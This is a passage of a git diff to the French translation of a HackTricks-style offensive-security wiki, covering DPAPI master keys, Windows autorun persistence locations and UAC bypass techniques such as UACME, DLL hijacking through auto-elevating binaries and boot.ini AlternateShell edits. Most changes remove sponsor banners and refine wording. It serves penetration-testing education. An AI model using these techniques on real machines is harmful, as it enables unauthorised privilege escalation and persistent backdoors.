intéressant afin de **déchiffrer** plus tard ce **contenu** chiffré avec elle. +En général, **chaque master key est une clé symétrique chiffrée qui peut déchiffrer d'autres contenus**. Par conséquent, **extraire** la **Master Key chiffrée** est intéressant afin de **décrypter** plus tard ce **contenu** chiffré avec elle. ### Extraire la master key et déchiffrer @@ -97,10 +93,4 @@ Avec la liste des ordinateurs extraits de LDAP, vous pouvez trouver chaque sous- - [https://www.passcape.com/index.php?section=docsys\&cmd=details\&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13) - [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c) -
- -[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md index e38e4379e..c46695eec 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md @@ -1,12 +1,8 @@ -# Escalade de privilèges avec Autoruns +# Élévation de privilèges avec Autoruns {{#include ../../banners/hacktricks-training.md}} -
-**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## WMIC @@ -42,11 +38,11 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" ## Registre > [!NOTE] -> [Note from here](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f) : L'entrée de registre **Wow6432Node** indique que vous exécutez une version 64 bits de Windows. Le système d'exploitation utilise cette clé pour afficher une vue séparée de HKEY_LOCAL_MACHINE\SOFTWARE pour les applications 32 bits qui s'exécutent sur des versions 64 bits de Windows. +> [Note from ici](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f) : L'entrée de registre **Wow6432Node** indique que vous exécutez une version 64 bits de Windows. Le système d'exploitation utilise cette clé pour afficher une vue séparée de HKEY_LOCAL_MACHINE\SOFTWARE pour les applications 32 bits qui s'exécutent sur des versions Windows 64 bits. ### Exécutions -**Registre AutoRun** communément connu : +**Connu sous le nom de** registre AutoRun : - `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` - `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce` @@ -149,7 +145,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders` - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders` -Les raccourcis placés dans le dossier **Démarrage** déclencheront automatiquement le lancement de services ou d'applications lors de la connexion de l'utilisateur ou du redémarrage du système. L'emplacement du dossier **Démarrage** est défini dans le registre pour les portées **Local Machine** et **Current User**. Cela signifie que tout raccourci ajouté à ces emplacements **Démarrage** spécifiés garantira que le service ou le programme lié démarre après le processus de connexion ou de redémarrage, ce qui en fait une méthode simple pour planifier l'exécution automatique des programmes. +Les raccourcis placés dans le dossier **Démarrage** déclencheront automatiquement des services ou des applications lors de la connexion de l'utilisateur ou du redémarrage du système. L'emplacement du dossier **Démarrage** est défini dans le registre pour les portées **Machine locale** et **Utilisateur actuel**. Cela signifie que tout raccourci ajouté à ces emplacements **Démarrage** spécifiés garantira que le service ou le programme lié démarre après le processus de connexion ou de redémarrage, ce qui en fait une méthode simple pour planifier l'exécution automatique des programmes. > [!NOTE] > Si vous pouvez écraser n'importe quel \[User] Shell Folder sous **HKLM**, vous pourrez le pointer vers un dossier contrôlé par vous et placer une porte dérobée qui sera exécutée chaque fois qu'un utilisateur se connecte au système, augmentant ainsi les privilèges. @@ -194,14 +190,14 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion ### Changer l'invite de commande en mode sans échec -Dans le Registre Windows sous `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`, il y a une valeur **`AlternateShell`** définie par défaut sur `cmd.exe`. Cela signifie que lorsque vous choisissez "Mode sans échec avec invite de commande" au démarrage (en appuyant sur F8), `cmd.exe` est utilisé. Cependant, il est possible de configurer votre ordinateur pour qu'il démarre automatiquement en ce mode sans avoir besoin d'appuyer sur F8 et de le sélectionner manuellement. +Dans le Registre Windows sous `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`, il y a une valeur **`AlternateShell`** définie par défaut sur `cmd.exe`. Cela signifie que lorsque vous choisissez "Mode sans échec avec invite de commande" au démarrage (en appuyant sur F8), `cmd.exe` est utilisé. Mais, il est possible de configurer votre ordinateur pour démarrer automatiquement en ce mode sans avoir besoin d'appuyer sur F8 et de le sélectionner manuellement. Étapes pour créer une option de démarrage pour démarrer automatiquement en "Mode sans échec avec invite de commande" : 1. Changez les attributs du fichier `boot.ini` pour supprimer les drapeaux de lecture seule, système et caché : `attrib c:\boot.ini -r -s -h` 2. Ouvrez `boot.ini` pour modification. 3. Insérez une ligne comme : `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)` -4. Enregistrez les modifications dans `boot.ini`. +4. Enregistrez les modifications apportées à `boot.ini`. 5. Réappliquez les attributs de fichier d'origine : `attrib c:\boot.ini +r +s +h` - **Exploit 1 :** Changer la clé de registre **AlternateShell** permet de configurer un shell de commande personnalisé, potentiellement pour un accès non autorisé. @@ -224,7 +220,7 @@ Active Setup est géré à travers les clés de registre suivantes : - `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components` - `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components` -Dans ces clés, divers sous-clés existent, chacune correspondant à un composant spécifique. Les valeurs clés d'un intérêt particulier incluent : +Au sein de ces clés, divers sous-clés existent, chacune correspondant à un composant spécifique. Les valeurs clés d'un intérêt particulier incluent : - **IsInstalled :** - `0` indique que la commande du composant ne s'exécutera pas. @@ -247,7 +243,7 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components ### Aperçu des Objets d'Aide au Navigateur (BHO) -Les Objets d'Aide au Navigateur (BHO) sont des modules DLL qui ajoutent des fonctionnalités supplémentaires à Internet Explorer de Microsoft. Ils se chargent dans Internet Explorer et l'Explorateur Windows à chaque démarrage. Cependant, leur exécution peut être bloquée en définissant la clé **NoExplorer** à 1, les empêchant de se charger avec les instances de l'Explorateur Windows. +Les Objets d'Aide au Navigateur (BHO) sont des modules DLL qui ajoutent des fonctionnalités supplémentaires à Internet Explorer de Microsoft. Ils se chargent dans Internet Explorer et Windows Explorer à chaque démarrage. Cependant, leur exécution peut être bloquée en définissant la clé **NoExplorer** à 1, les empêchant de se charger avec les instances de Windows Explorer. Les BHO sont compatibles avec Windows 10 via Internet Explorer 11 mais ne sont pas pris en charge dans Microsoft Edge, le navigateur par défaut dans les versions plus récentes de Windows. @@ -297,13 +293,13 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi ``` ## SysInternals -Notez que tous les sites où vous pouvez trouver des autoruns ont **déjà été recherchés par** [**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Cependant, pour une **liste plus complète des fichiers auto-exécutés**, vous pourriez utiliser [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) de Sysinternals : +Notez que tous les sites où vous pouvez trouver des autoruns sont **déjà recherchés par** [**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Cependant, pour une **liste plus complète des fichiers auto-exécutés**, vous pourriez utiliser [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) de Sysinternals : ``` autorunsc.exe -m -nobanner -a * -ct /accepteula ``` ## Plus -**Trouvez plus d'Autoruns comme les enregistrements dans** [**https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2**](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2) +**Trouvez plus d'Autoruns comme des enregistrements dans** [**https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2**](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2) ## Références @@ -312,10 +308,6 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula - [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2) - [https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell) -
-**Conseil de bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md index 78c234488..70ba78d32 100644 --- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md +++ b/src/windows-hardening/windows-security-controls/uac-user-account-control.md @@ -2,13 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ## UAC [Le Contrôle de Compte Utilisateur (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet une **invite de consentement pour les activités élevées**. Les applications ont différents niveaux d'`intégrité`, et un programme avec un **niveau élevé** peut effectuer des tâches qui **pourraient potentiellement compromettre le système**. Lorsque l'UAC est activé, les applications et les tâches s'exécutent toujours **sous le contexte de sécurité d'un compte non administrateur** à moins qu'un administrateur n'autorise explicitement ces applications/tâches à avoir un accès de niveau administrateur au système pour s'exécuter. C'est une fonctionnalité de commodité qui protège les administrateurs des modifications non intentionnelles mais n'est pas considérée comme une frontière de sécurité. @@ -21,15 +14,15 @@ Pour plus d'informations sur les niveaux d'intégrité : Lorsque l'UAC est en place, un utilisateur administrateur reçoit 2 jetons : une clé d'utilisateur standard, pour effectuer des actions régulières au niveau régulier, et une avec les privilèges d'administrateur. -Cette [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute en profondeur du fonctionnement de l'UAC et inclut le processus de connexion, l'expérience utilisateur et l'architecture de l'UAC. Les administrateurs peuvent utiliser des politiques de sécurité pour configurer le fonctionnement de l'UAC spécifique à leur organisation au niveau local (en utilisant secpol.msc), ou configuré et déployé via des objets de stratégie de groupe (GPO) dans un environnement de domaine Active Directory. Les différents paramètres sont discutés en détail [ici](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Il existe 10 paramètres de stratégie de groupe qui peuvent être définis pour l'UAC. Le tableau suivant fournit des détails supplémentaires : +Cette [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute en profondeur du fonctionnement de l'UAC et inclut le processus de connexion, l'expérience utilisateur et l'architecture de l'UAC. Les administrateurs peuvent utiliser des politiques de sécurité pour configurer le fonctionnement de l'UAC spécifique à leur organisation au niveau local (en utilisant secpol.msc), ou configuré et déployé via des Objets de Politique de Groupe (GPO) dans un environnement de domaine Active Directory. Les différents paramètres sont discutés en détail [ici](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Il existe 10 paramètres de Politique de Groupe qui peuvent être définis pour l'UAC. Le tableau suivant fournit des détails supplémentaires : -| Paramètre de Stratégie de Groupe | Clé de Registre | Paramètre par Défaut | +| Paramètre de Politique de Groupe | Clé de Registre | Paramètre par Défaut | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | | [Contrôle de Compte Utilisateur : Mode d'Approbation Admin pour le compte Administrateur intégré](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Désactivé | | [Contrôle de Compte Utilisateur : Autoriser les applications UIAccess à demander une élévation sans utiliser le bureau sécurisé](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Désactivé | -| [Contrôle de Compte Utilisateur : Comportement de l'invite d'élévation pour les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Demander le consentement pour les binaires non-Windows | +| [Contrôle de Compte Utilisateur : Comportement de l'invite d'élévation pour les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Demander le consentement pour les binaires non-Windows | | [Contrôle de Compte Utilisateur : Comportement de l'invite d'élévation pour les utilisateurs standard](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Demander des identifiants sur le bureau sécurisé | -| [Contrôle de Compte Utilisateur : Détecter les installations d'applications et demander une élévation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Activé (par défaut pour les foyers) Désactivé (par défaut pour les entreprises) | +| [Contrôle de Compte Utilisateur : Détecter les installations d'applications et demander une élévation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Activé (par défaut pour les particuliers) Désactivé (par défaut pour les entreprises) | | [Contrôle de Compte Utilisateur : Élever uniquement les exécutables qui sont signés et validés](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Désactivé | | [Contrôle de Compte Utilisateur : Élever uniquement les applications UIAccess qui sont installées dans des emplacements sécurisés](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Activé | | [Contrôle de Compte Utilisateur : Exécuter tous les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Activé | @@ -40,7 +33,7 @@ Cette [page](https://docs.microsoft.com/en-us/windows/security/identity-protecti Certains programmes sont **auto-élévés automatiquement** si l'**utilisateur appartient** au **groupe administrateur**. Ces binaires ont à l'intérieur de leurs _**Manifests**_ l'option _**autoElevate**_ avec la valeur _**True**_. Le binaire doit également être **signé par Microsoft**. -Ensuite, pour **contourner** l'**UAC** (élever du **niveau** d'intégrité **moyen** **au niveau élevé**), certains attaquants utilisent ce type de binaires pour **exécuter du code arbitraire** car il sera exécuté à partir d'un **processus de niveau d'intégrité élevé**. +Ensuite, pour **contourner** l'**UAC** (élever du **niveau** d'intégrité **moyen** **au niveau élevé**), certains attaquants utilisent ce type de binaires pour **exécuter du code arbitraire** car il sera exécuté à partir d'un **processus à niveau d'intégrité élevé**. Vous pouvez **vérifier** le _**Manifest**_ d'un binaire en utilisant l'outil _**sigcheck.exe**_ de Sysinternals. Et vous pouvez **voir** le **niveau d'intégrité** des processus en utilisant _Process Explorer_ ou _Process Monitor_ (de Sysinternals). @@ -64,10 +57,10 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` - Si **`0`**, alors, UAC ne demandera pas (comme **désactivé**) - Si **`1`**, l'administrateur est **demandé pour le nom d'utilisateur et le mot de passe** pour exécuter le binaire avec des droits élevés (sur le Bureau Sécurisé) -- Si **`2`** (**Toujours me notifier**) UAC demandera toujours une confirmation à l'administrateur lorsqu'il essaie d'exécuter quelque chose avec des privilèges élevés (sur le Bureau Sécurisé) +- Si **`2`** (**Toujours me notifier**) UAC demandera toujours confirmation à l'administrateur lorsqu'il essaie d'exécuter quelque chose avec des privilèges élevés (sur le Bureau Sécurisé) - Si **`3`**, comme `1` mais pas nécessaire sur le Bureau Sécurisé - Si **`4`**, comme `2` mais pas nécessaire sur le Bureau Sécurisé -- si **`5`**(**par défaut**) il demandera à l'administrateur de confirmer l'exécution de binaires non Windows avec des privilèges élevés +- si **`5`**(**par défaut**) il demandera à l'administrateur de confirmer pour exécuter des binaires non Windows avec des privilèges élevés Ensuite, vous devez examiner la valeur de **`LocalAccountTokenFilterPolicy`**\ Si la valeur est **`0`**, alors, seul l'utilisateur **RID 500** (**Administrateur intégré**) est capable d'effectuer des **tâches administratives sans UAC**, et si c'est `1`, **tous les comptes dans le groupe "Administrateurs"** peuvent le faire. @@ -147,7 +140,7 @@ Documentation et outil dans [https://github.com/wh0amitz/KRBUACBypass](https://g ### Exploits de contournement UAC [**UACME** ](https://github.com/hfiref0x/UACME) qui est une **compilation** de plusieurs exploits de contournement UAC. Notez que vous devrez **compiler UACME en utilisant visual studio ou msbuild**. La compilation créera plusieurs exécutables (comme `Source\Akagi\outout\x64\Debug\Akagi.exe`), vous devrez savoir **lequel vous avez besoin.**\ -Vous devez **être prudent** car certains contournements **demanderont à d'autres programmes** qui **alerteront** l'**utilisateur** que quelque chose se passe. +Vous devez **être prudent** car certains contournements **demanderont d'autres programmes** qui **alerteront** l'**utilisateur** que quelque chose se passe. UACME a la **version de construction à partir de laquelle chaque technique a commencé à fonctionner**. Vous pouvez rechercher une technique affectant vos versions : ``` @@ -171,7 +164,7 @@ Vous pouvez obtenir cela en utilisant une session **meterpreter**. Migrez vers u ### Contournement UAC avec GUI -Si vous avez accès à une **GUI, vous pouvez simplement accepter l'invite UAC** lorsque vous l'obtenez, vous n'avez vraiment pas besoin de contournement. Donc, obtenir l'accès à une GUI vous permettra de contourner l'UAC. +Si vous avez accès à une **GUI, vous pouvez simplement accepter l'invite UAC** lorsque vous l'obtenez, vous n'avez pas vraiment besoin de le contourner. Donc, obtenir l'accès à une GUI vous permettra de contourner l'UAC. De plus, si vous obtenez une session GUI que quelqu'un utilisait (potentiellement via RDP), il y a **certains outils qui s'exécuteront en tant qu'administrateur** à partir desquels vous pourriez **exécuter** un **cmd** par exemple **en tant qu'admin** directement sans être à nouveau invité par l'UAC comme [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Cela pourrait être un peu plus **discret**. @@ -184,7 +177,7 @@ Si vous ne vous souciez pas d'être bruyant, vous pourriez toujours **exécuter Si vous jetez un œil à **UACME**, vous remarquerez que **la plupart des contournements UAC abusent d'une vulnérabilité de détournement de DLL** (principalement en écrivant la DLL malveillante sur _C:\Windows\System32_). [Lisez ceci pour apprendre comment trouver une vulnérabilité de détournement de DLL](../windows-local-privilege-escalation/dll-hijacking.md). 1. Trouvez un binaire qui **s'auto-élève** (vérifiez que lorsqu'il est exécuté, il s'exécute à un niveau d'intégrité élevé). -2. Avec procmon, trouvez des événements "**NOM NON TROUVÉ**" qui peuvent être vulnérables au **détournement de DLL**. +2. Avec procmon, trouvez des événements "**NAME NOT FOUND**" qui peuvent être vulnérables au **détournement de DLL**. 3. Vous aurez probablement besoin de **écrire** la DLL à l'intérieur de certains **chemins protégés** (comme C:\Windows\System32) où vous n'avez pas de permissions d'écriture. Vous pouvez contourner cela en utilisant : 1. **wusa.exe** : Windows 7, 8 et 8.1. Cela permet d'extraire le contenu d'un fichier CAB à l'intérieur de chemins protégés (car cet outil est exécuté à partir d'un niveau d'intégrité élevé). 2. **IFileOperation** : Windows 10. @@ -192,13 +185,6 @@ Si vous jetez un œil à **UACME**, vous remarquerez que **la plupart des contou ### Une autre technique de contournement UAC -Consiste à surveiller si un **binaire auto-élévé** essaie de **lire** dans le **registre** le **nom/chemin** d'un **binaire** ou **commande** à **exécuter** (c'est plus intéressant si le binaire recherche cette information à l'intérieur du **HKCU**). - -
- -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Consiste à surveiller si un **binaire auto-élévé** essaie de **lire** dans le **registre** le **nom/chemin** d'un **binaire** ou **commande** à exécuter (c'est plus intéressant si le binaire recherche cette information à l'intérieur du **HKCU**). {{#include ../../banners/hacktricks-training.md}}